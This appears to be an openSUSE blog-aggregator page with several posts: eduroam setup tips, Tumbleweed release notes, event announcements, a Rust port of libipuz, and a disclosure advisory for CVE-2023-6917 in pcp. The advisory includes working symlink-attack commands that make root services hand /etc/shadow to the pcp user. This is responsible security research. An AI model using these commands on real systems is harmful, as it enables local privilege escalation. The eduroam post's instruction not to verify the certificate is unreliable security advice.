Tue, Feb 27th, 2024

HU Berlin eduroam for Android

I tried to setup eduroam for the Humboldt University of Berlin (Humboldt Universität in Berlin) using the app advertised in the manual: geteduroam

Unfortunately, the app crashes on my Android phone. If this is your case as well, proceed as follows:

  1. download the CA certificate hu-ca-2024.crt1
  2. go to your wifi settings and select eduroam to setup this wifi
  3. use TTLS/PAP (I forgot which one)
  4. add anonymous identity: eduroam@hu-berlin.de
  5. add username as username@hu-berlin.de (use username@physik.hu-berlin.de or username@mathematik.hu-berlin.de if your account is with those faculties)
  6. add as CA certificate the file downloaded before
  7. do not verify this certificate
  8. add as domain: hu-berlin.de

Note that other universities may require other setups.

  1. I have created this certificate file with openssl x509 -inform PEM -outform DER -in CA.pem -out hu-ca-2024.crt using the CA.pem extracted from the eduroam setup for my PC. ↩︎

Disable Input Devices in Wayland

Sometimes, hardware breaks and you have to make a modification in software to work around it. Here is one neat little trick I am using, temporarily, for a ThinkPad TrackPoint problem. These directions are going to be directed towards an openSUSE system because, that is what I primarily use but I am pretty certain that … Continue reading Disable Input Devices in Wayland

Performance Co-Pilot (pcp): Unsafe use of Directories in /var/lib/pcp and /var/log/pcp breaks pcp Service User Isolation (CVE-2023-6917)

1) Introduction

Performance Co-Pilot (pcp) is a performance analysis toolkit that allows to gather and evaluate data on a local system and also share this data over the network in a distributed manner.

During routine reviews we noticed issues in pcp on Linux with directory permissions that allow to locally escalate privileges from the pcp service user to root.

These findings are based on the 5.3.7 version release of pcp. CVE-2023-6917 has been assigned for this class of issues in pcp.

2) Service User And Directory Permissions

The systemd services shipped with pcp run with mixed privileges. Some use only limited pcp user/group privileges, like “pmie_check.service”. Others like “pmcd.service” run with full root privileges. The pmcd daemon implements the networking logic of pcp. It drops privileges from root to pcp during startup.

The different pcp programs use a shared directory structure:

  • /var/lib/pcp/tmp owned by pcp:pcp mode 0775
  • /var/log/pcp owned by pcp:pcp mode 0775

When privileged processes running as root access files in directories or directory trees controlled by unprivileged users, then easily security issues can result from this. For the directories listed above, we quickly found the two exploitable issues that are described in the following sections.

3a) Startup Script for pmcd runs chown for $PCP_TMP_DIR/pmlogger

The “pmcd.service” runs with root privileges and executes the bash script “/usr/libexec/pcp/lib/pmcd” (named “rc_pmcd” in the Git source repository). Within this script the following code runs as part of the start routine, found in function _reboot_setup():

 if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
 then
     mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
     chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
     if which restorecon >/dev/null 2>&1
     then
         restorecon -r "$PCP_TMP_DIR"
     fi
 else

$PCP_TMP_DIR in this context refers to “/var/lib/pcp/tmp”, owned by pcp:pcp mode 0775. Since the shell code above does not exit on errors, a compromised pcp user doesn’t even have to win a race condition to perform a symlink attack. The following exploit works:

# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp  $ cd /var/lib/pcp/tmp
pcp  $ rm -r pmlogger
pcp  $ ln -s /etc/shadow pmlogger
pcp  $ exit
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec  7 15:47 /etc/shadow

3b) Startup Script for pmproxy runs chown in $RUN_DIR

The “pmproxy.service” runs with root privileges and executes the bash script “/usr/libexec/pcp/lib/pmproxy” (named rc_pmproxy in the Git source repository). Within this script the following code runs as part of the start (and other) routines:

# create directory which will serve as cwd
if [ ! -d "$RUNDIR" ]
then
    mkdir -p -m 775 "$RUNDIR"
    chown $PCP_USER:$PCP_GROUP "$RUNDIR"
fi

$RUN_DIR in this context refers to “/var/log/pcp/pmproxy”. “/var/log/pcp” is owned by pcp:pcp mode 0775. Similar to the exploit described in section 3a), no race condition has to be won to exploit this:

# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp  $ cd /var/log/pcp
pcp  $ rm -rf pmproxy
pcp  $ ln -s /etc/shadow pmproxy
pcp  $ exit
root # systemctl start pmproxy.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec  7 15:47 /etc/shadow

4) Summary

We only picked two of the more obvious security issues that result from root processes operating on these pcp owned directories. There are likely more issues of the same class lingering in the pcp scripts that run as root. Given this, the user separation of pcp can be considered nonexistent in its current form, and the pcp user should be treated equal to root.

The pcp service user is also used for the network facing pmcd component, thus these issues strongly impact defense in depth for pcp, for the scenario when an attacker finds a way to exploit the network daemon.

5) Bugfix

Upstream performed a wider redesign of the privilege separation handling in pcp components. The pull request corresponding to this contains a large number of commits. It is difficult to isolate any simple patches from that.

In our Bugzilla bug that tracks this issue, I attempted to identify the subset of commits relevant to this issue, to help with backporting.

6) Timeline

2023-12-13 I reported the findings to pcp-maintainers@groups.io offering coordinated disclosure.
2023-12-14 The Red Hat Security Team was added to the discussion.
2023-12-15 After some initial disagreement whether this qualifies as an actual security issue, an agreement was found that it is a change of security scope and deserves a CVE assignment.
2023-12-15 An upstream author suggested mid of February as a publication date, for which time a release for pcp had been planned anyway.
2023-12-18 Red Hat Security assigned CVE-2023-6917 to track the issue(s).
2024-01-01 Upstream discussed some initial changes to address the issue(s) in the mail thread and I tried to give some feedback about them.
2024-02-20 Communication about the publication process died down, and I learned from our packager that the Pull Request containing the fixes had already been public for some time. It seems no clear embargo had been established for the coordinated release, there had been contradicting statements.
2024-02-27 After verifying with the upstream authors that publication is okay I finalized my report and published all information.

7) References

Mon, Feb 26th, 2024

Gridfinity Screwdriver Rack

One of the coolest discoveries on the Internet that was introduced by the fine folks in the Maker’s Corner Telegram group is Gridfinity. There are a ton of videos buy the creator, Zack Freedman, of the various cool things he has done with it. For more information on that breaks down the philosophy read this … Continue reading Gridfinity Screwdriver Rack

Community Plans for Summit in Berlin

The community is headed to Berlin on June 19 for a Community Summit in association with SUSE’s premier annual global technical conference SUSECON.

Registration for the event is open and the Call for Papers is open until May 29. Partners of SUSE, openSUSE, open source community projects and community members that want to participate are encouraged to register for the summit and submit a talk.

The schedule for the Community Summit will be released on May 30.

There is a Community track and an open source track. There are two types of talks that can be submitted for the summit. One is a short talk with a 15-minute limit and the other is a standard talk with a 30-minute limit.

Attendees of SUSECON are also welcome to attend and submit talks. The Community Summit is a free community event that will take place on the last day of SUSECON.

The summit will take place a week before the openSUSE Conference in Nuremberg, so attendees of SUSECON should consider staying for the openSUSE Project’s annual conference and submit a technical talk. For small- and medium-sized enterprises, there will be a 4-hour Open 4 Business networking event held on June 26 next to SUSE’s offices in Nuremberg.

Contact ddemaio (@) opensuse.org if you have any questions concerning the summit.

Sat, Feb 24th, 2024

KRFB | Remote Desktop Sharing with Plasma Wayland

This is a kind of follow up to a previous article where I was experimenting with KRDP. Since I was unable to use that reliably, I had to find another solution and that solution has been found. Not as neat and clean as RDP is but rock solid and reliable like VNC has become. Installation … Continue reading KRFB | Remote Desktop Sharing with Plasma Wayland

Fri, Feb 23rd, 2024

openSUSE Tumbleweed – Review of the weeks 2024/08

Dear Tumbleweed users and hackers,

This week, we had once again openQA blocking the release of one snapshot and protecting some of our users (using the experimental sdboot/disk-encryption). openQA has identified an inconsistency in snapshot 0215 and found that systems with this update would fail to unlock their disks. The fix landed in snapshot 0216. openQA confirmed the fix and the five snapshots 0216, 0218, 0220, 0221, and 0222 have been published.

The most relevant changes in those releases were:

  • Mozilla Firefox 122.0.1
  • bind 9.18.24
  • dav1d 1.4.0
  • PHP 8.2.16
  • Poppler 24.02.0
  • Shadow 4.14.5
  • Mesa 23.3.6
  • Meson 1.3.2
  • binutils 2.42
  • GCC 14 is now the libgcc provider. GCC 13 is still the default compiler being used
  • Linux kernel 6.7.5
  • pkgconf 2.1.1
  • Node.JS 21.6.2
  • Qt 6.6.2
  • Systemd 254.9
  • perl-Bootloader 1.12: no longer written in perl (package name change to happen later)
  • Qemu 8.2.1
  • Lots of packages preparing for RPM 4.20 (%patchN no longer supported) (~ 600 out of 2000 packages fixed this week)
  • RPM: enable reproducible builds by default (bsc#1148824)

In my opinion, that’s quite an impressive list. Soon (and a bit more distant) we will be shipping these changes:

  • Ruby 3.2 deprecation: ruby3.2 all ruby3.2-rubygem packages will be removed from Tumbleweed
  • python 3.9 deprecation: all python39-* packages are scheduled for removal. We still have Python 3.10, Python 3.11 (the default interpreter), and Python 3.12 in Tumbleweed. Unfortunately, this road will be bumpy, as many Python packages still do not build for Python 3.12 – and unless the builds succeed, the pytho39-XXX packages will stay lingering in the repository.
  • Systemd 255
  • Many more package fixes to prepare for RPM 4.20
  • KDE Frameworks and Plasma 6
  • dbus-broker: a big step forward; upgrades seem to be an issue that needs to be addressed
  • libxml 2.12.x: slow progress
  • GCC 14: phase 2: use gcc14 as default compiler

Thu, Feb 22nd, 2024

Engage with Uyuni Community Hours

Like many open-source projects, the Uyuni Project has a long tradition of fostering community engagement and open dialogue, which is why those who are interested in configuration management should consider joining the Uyuni Community Hours scheduled for Feb. 24 at 15:00 UTC.

Uyuni Community Hours sessions take place on the last Friday of the month. The sessions offer an invaluable opportunity for both the community and the project’s development team to come together.

During these sessions, participants are presented with the latest developments surrounding Uyuni. This open forum allows the community to ask questions, provide feedback and suggest features or enhancements directly to the development team. This proactive approach helps Uyuni to evolve and align with the needs and expectations of its user base.

The session for this Friday addresses the community’s feedback and needs:

  • Meeting Migration Recap: An overview of recent changes to the meeting platform, enhancing accessibility and participation for the community.

  • What’s New in Uyuni: A detailed exploration of the latest features and improvements in the February 2024 release of Uyuni.

  • Containerized Uyuni: Release Strategy: Insights into the future of Uyuni’s deployment and management within containerized environments.

  • Uyuni Health Check: Running on top of a “supportconfig”: Introduction of a new tool designed to simplify and streamline health checks for Uyuni servers.

  • One Shot Execution of Recurring Actions: A discussion on enhancing task management and execution within the Uyuni framework.

  • Testing, Building, and Publishing the Documentation with GitHub Actions: An innovative approach to maintaining and distributing up-to-date documentation for Uyuni users and developers.

This session is accessible with a detailed agenda and is meant to keep the contributing community well-informed of upcoming topics and discussions. Whether a developer, administrator or an open-source software enthusiast, join the Uyuni Community Hours to offer valuable insights into the project’s progress and future initiatives.

Mon, Feb 19th, 2024

Build Results Summary Chart Links to Build Results Overview

A quick update on the Request Page Redesign: the build summary chart bars are now clickable. A simple click on the bar will open an overview of the builds, which will be displayed under the Build Results tab on the request page and will have the corresponding filters applied. You can see a build summary chart on the request page only when the submitted packages build against a long list of repositories. Clickable build summary...

Sun, Feb 18th, 2024

Rustifying libipuz: character sets

It has been, what, like four years since librsvg got fully rustified, and now it is time to move another piece of critical infrastructure to a memory-safe language.

I'm talking about libipuz, the GObject-based C library that GNOME Crosswords uses underneath. This is a library that parses the ipuz file format and is able to represent various kinds of puzzles.

The words "GNOME CROSSWORDS" set inside a crossword
puzzle

Libipuz is an interesting beast. The ipuz format is JSON with a lot of hair: it needs to represent the actual grid of characters and their solutions, the grid's cells' numbers, the puzzle's clues, and all the styling information that crossword puzzles can have (it's more than you think!).

{
    "version": "http://ipuz.org/v2",
    "kind": [ "http://ipuz.org/crossword#1", "https://libipuz.org/barred#1" ],
    "title": "Mephisto No 3228",
    "styles": {
        "L": {"barred": "L" },
        "T": {"barred": "T" },
        "TL": {"barred": "TL" }
    },
    "puzzle":   [ [  1,  2,  0,  3,  4,  {"cell": 5, "style": "L"},  6,  0,  7,  8,  0,  9 ],
                  [  0,  {"cell": 0, "style": "L"}, {"cell": 10, "style": "TL"},  0,  0,  0,  0,  {"cell": 0, "style": "T"},  0,  0,  {"cell": 0, "style": "T"},  0 ]
                # the rest is omitted
    ],
    "clues": {
        "Across": [ {"number":1, "clue":"Having kittens means losing heart for home day", "enumeration":"5", "cells":[[0,0],[1,0],[2,0],[3,0],[4,0]] },
                    {"number":5, "clue":"Mostly allegorical poet on writing companion poem, say", "enumeration":"7", "cells":[[5,0],[6,0],[7,0],[8,0],[9,0],[10,0],[11,0]] },
                ]
        # the rest is omitted
    }
}

Libipuz uses json-glib, which works fine to ingest the JSON into memory, but then it is a complete slog to distill the JSON nodes into C data structures. You need iterate through each node in the JSON tree and try to fit its data into yours.

Get me the next node. Is the node an array? Yes? How many elements? Allocate my own array. Iterate the node's array. What's in this element? Is it a number? Copy the number to my array. Or is it a string? Do I support that, or do I throw an error? Oh, don't forget the code to meticulously free the partially-constructed thing I was building.

This is not pleasant code to write and test.

Ipuz also has a few mini-languages within the format, which live inside string properties. Parsing these in C unpleasant at best.

Differences from librsvg

While librsvg has a very small GObject-based API, and a medium-sized library underneath, libipuz has a large API composed of GObjects, boxed types, and opaque and public structures. Using libipuz involves doing a lot of calls to its functions, from loading a crossword to accessing each of its properties via different functions.

I want to use this rustification as an exercise in porting a moderately large C API to Rust. Fortunately, libipuz does have a good test suite that is useful from the beginning of the port.

Also, I want to see what sorts of idioms appear when exposing things from Rust that are not GObjects. Mutable, opaque structs can just be passed as a pointer to a heap allocation, i.e. a Box<T>. I want to take the opportunity to make more things in libipuz immutable; currently it has a bunch of reference-counted, mutable objects, which are fine in single-threaded C, but decidedly not what Rust would prefer. For librsvg it was very beneficial to be able to notice parts of objects that remain immutable after construction, and to distinguish those parts from the mutable ones that change when the object goes through its lifetime.

Let's begin!

In the ipuz format, crosswords have a character set or charset: it is the set of letters that appear in the puzzle's solution. Internally, GNOME Crosswords uses the charset as a histogram of letter counts for a particular puzzle. This is useful information for crossword authors.

Crosswords uses the histogram of letter counts in various important algorithms, for example, the one that builds a database of words usable in the crosswords editor. That database has a clever format which allows answering questions like the following quickly: What words in the database match ?OR??WORDS and CORES will match.

IPuzCharset is one of the first pieces of code I worked on in Crosswords, and it later got moved to libipuz. Originally it didn't even keep a histogram of character counts; it was just an ordered set of characters that could answer the question, "what is the index of the character ch within the ordered set?".

I implemented that ordered set with a GTree, a balanced binary tree. The keys in the key/value tree were the characters, and the values were just unused.

Later, the ordered set was turned into an actual histogram with character counts: keys are still characters, but each value is now a count of the coresponding character.

Over time, Crosswords started using IPuzCharset for different purposes. It is still used while building and accessing the database of words; but now it is also used to present statistics in the crosswords editor, and as part of the engine in an acrostics generator.

In particular, the acrostics generator has been running into some performance problems with IPuzCharset. I wanted to take the port to Rust as an opportunity to change the algorithm and make it faster.

Refactoring into mutable/immutable stages

IPuzCharset started out with these basic operations:

/* Construction; memory management */
IPuzCharset          *ipuz_charset_new              (void);
IPuzCharset          *ipuz_charset_ref              (IPuzCharset       *charet);
void                  ipuz_charset_unref            (IPuzCharset       *charset);

/* Mutation */
void                  ipuz_charset_add_text         (IPuzCharset       *charset,
                                                     const char        *text);
gboolean              ipuz_charset_remove_text      (IPuzCharset       *charset,
                                                     const char        *text);

/* Querying */
gint                  ipuz_charset_get_char_index   (const IPuzCharset *charset,
                                                     gunichar           c);
guint                 ipuz_charset_get_char_count   (const IPuzCharset *charset,
                                                     gunichar           c);
gsize                 ipuz_charset_get_n_chars      (const IPuzCharset *charset);
gsize                 ipuz_charset_get_size         (const IPuzCharset *charset);

All of those are implemented in terms of the key/value binary tree that stores a character in each node's key, and a count in the node's value.

I read the code in Crosswords that uses the ipuz_charset_*() functions and noticed that in every case, the code first constructs and populates the charset using ipuz_charset_add_text(), and then doesn't modify it anymore — it only does queries afterwards. The only place that uses ipuz_charset_remove_text() is the acrostics generator, but that one doesn't do any queries later: it uses the remove_text() operation as part of another algorithm, but only that.

So, I thought of doing this:

  • Split things into a mutable IPuzCharsetBuilder that has the add_text / remove_text operations, and also has a build() operation that consumes the builder and produces an immutable IPuzCharset.

  • IPuzCharset is immutable; it can only be queried.

  • IPuzCharsetBuilder can work with a hash table, which turns the "add a character" operation from O(log n) to O(1) amortized.

  • build() is O(n) on the number of unique characters and is only done once per charset.

  • Make IPuzCharset work with a different hash table that also allows for O(1) operations.

Basics of IPuzCharsetBuilder

IPuzCharsetBuilder is mutable, and it can live on the Rust side as a Box<T> so it can present an opaque pointer to C.

#[derive(Default)]
pub struct CharsetBuilder {
    histogram: HashMap<char, u32>,
}

// IPuzCharsetBuilder *ipuz_charset_builder_new (void); */
#[no_mangle]
pub unsafe extern "C" fn ipuz_charset_builder_new() -> Box<CharsetBuilder> {
    Box::new(CharsetBuilder::default())
}

For extern "C", Box<T> marshals as a pointer. It's nominally what one would get from malloc().

Then, simple functions to create the character counts:

impl CharsetBuilder {
    /// Adds `text`'s character counts to the histogram.
    fn add_text(&mut self, text: &str) {
        for ch in text.chars() {
            self.add_character(ch);
        }
    }

    /// Adds a single character to the histogram.
    fn add_character(&mut self, ch: char) {
        self.histogram
            .entry(ch)
            .and_modify(|e| *e += 1)
            .or_insert(1);
    }
}

The C API wrappers:

use std::ffi::CStr;

// void ipuz_charset_builder_add_text (IPuzCharsetBuilder *builder, const char *text);
#[no_mangle]
pub unsafe extern "C" fn ipuz_charset_builder_add_text(
    builder: &mut CharsetBuilder,
    text: *const c_char,
) {
    let text = CStr::from_ptr(text).to_str().unwrap();
    builder.add_text(text);
}

CStr is our old friend that takes a char * and can wrap it as a Rust &str after validating it for UTF-8 and finding its length. Here, the unwrap() will panic if the passed string is not UTF-8, but that's what we want; it's the equivalent of an assertion that what was passed in is indeed UTF-8.

// void ipuz_charset_builder_add_character (IPuzCharsetBuilder *builder, gunichar ch);
#[no_mangle]
pub unsafe extern "C" fn ipuz_charset_builder_add_character(builder: &mut CharsetBuilder, ch: u32) {
    let ch = char::from_u32(ch).unwrap();
    builder.add_character(ch);
}

Somehow, the glib-sys crate doesn't have gunichar, which is just a guint32 for a Unicode code point. So, we take in a u32, and check that it is in the appropriate range for Unicode code points with char::from_u32(). Again, a panic in the unwrap() means that the passed number is out of range; equivalent to an assertion.

Converting to an immutable IPuzCharset

pub struct Charset {
    /// Histogram of characters and their counts plus derived values.
    histogram: HashMap<char, CharsetEntry>,

    /// All the characters in the histogram, but in order.
    ordered: String,

    /// Sum of all the counts of all the characters.
    sum_of_counts: usize,
}

/// Data about a character in a `Charset`.  The "value" in a key/value pair where the "key" is a character.
#[derive(PartialEq)]
struct CharsetEntry {
    /// Index of the character within the `Charset`'s ordered version.
    index: u32,

    /// How many of this character in the histogram.
    count: u32,
}

impl CharsetBuilder {
    fn build(self) -> Charset {
        // omitted for brevity; consumes `self` and produces a `Charset` by adding
        // the counts for the `sum_of_counts` field, and figuring out the sort
        // order into the `ordered` field.
    }
}

Now, on the C side, IPuzCharset is meant to also be immutable and reference-counted. We'll use Arc<T> for such structures. One cannot return an Arc<T> to C code; it must first be converted to a pointer with Arc::into_raw():

// IPuzCharset *ipuz_charset_builder_build (IPuzCharsetBuilder *builder);
#[no_mangle]
pub unsafe extern "C" fn ipuz_charset_builder_build(
    builder: *mut CharsetBuilder,
) -> *const Charset {
    let builder = Box::from_raw(builder); // get back the Box from a pointer
    let charset = builder.build();        // consume the builder and free it
    Arc::into_raw(Arc::new(charset))      // Wrap the charset in Arc and get a pointer
}

Then, implement ref() and unref():

// IPuzCharset *ipuz_charset_ref (IPuzCharset *charet);
#[no_mangle]
pub unsafe extern "C" fn ipuz_charset_ref(charset: *const Charset) -> *const Charset {
    Arc::increment_strong_count(charset);
    charset
}

// void ipuz_charset_unref (IPuzCharset *charset);
#[no_mangle]
pub unsafe extern "C" fn ipuz_charset_unref(charset: *const Charset) {
    Arc::decrement_strong_count(charset);
}

The query functions need to take a pointer to what really is the Arc<Charset> on the Rust side. They reconstruct the Arc with Arc::from_raw() and wrap it in ManuallyDrop so that the Arc doesn't lose a reference count when the function exits:

// gsize ipuz_charset_get_n_chars (const IPuzCharset *charset);
#[no_mangle]
pub unsafe extern "C" fn ipuz_charset_get_n_chars(charset: *const Charset) -> usize {
    let charset = ManuallyDrop::new(Arc::from_raw(charset));
    charset.get_n_chars()
}

Tests

The C tests remain intact; these let us test all the #[no_mangle] wrappers.

The Rust tests can just be for the internals, simliar to this:

    #[test]
    fn supports_histogram() {
        let mut builder = CharsetBuilder::default();

        let the_string = "ABBCCCDDDDEEEEEFFFFFFGGGGGGG";
        builder.add_text(the_string);
        let charset = builder.build();

        assert_eq!(charset.get_size(), the_string.len());

        assert_eq!(charset.get_char_count('A').unwrap(), 1);
        assert_eq!(charset.get_char_count('B').unwrap(), 2);
        assert_eq!(charset.get_char_count('C').unwrap(), 3);
        assert_eq!(charset.get_char_count('D').unwrap(), 4);
        assert_eq!(charset.get_char_count('E').unwrap(), 5);
        assert_eq!(charset.get_char_count('F').unwrap(), 6);
        assert_eq!(charset.get_char_count('G').unwrap(), 7);

        assert!(charset.get_char_count('H').is_none());
    }

Integration with the build system

Libipuz uses meson, which is not particularly fond of cargo. Still, cargo can be used from meson with a wrapper script and a bit of easy hacks. See the merge request for details.

Further work

I've left the original C header file ipuz-charset.h intact, but ideally I'd like to automatically generate the headers from Rust with cbindgen. Doing it that way lets me check that my assumptions of the extern "C" ABI are correct ("does foo: &mut Foo appear as Foo *foo on the C side?"), and it's one fewer C-ism to write by hand. I need to see what to do about inline documentation; gi-docgen can consume C header files just fine, but I'm not yet sure about how to make it work with generated headers from cbindgen.

I still need to modify the CI's code coverage scripts to work with the mixed C/Rust codebase. Fortunately I can copy those incantations from librsvg.

Is it faster?

Maybe! I haven't benchmarked the acrostics generator yet. Stay tuned!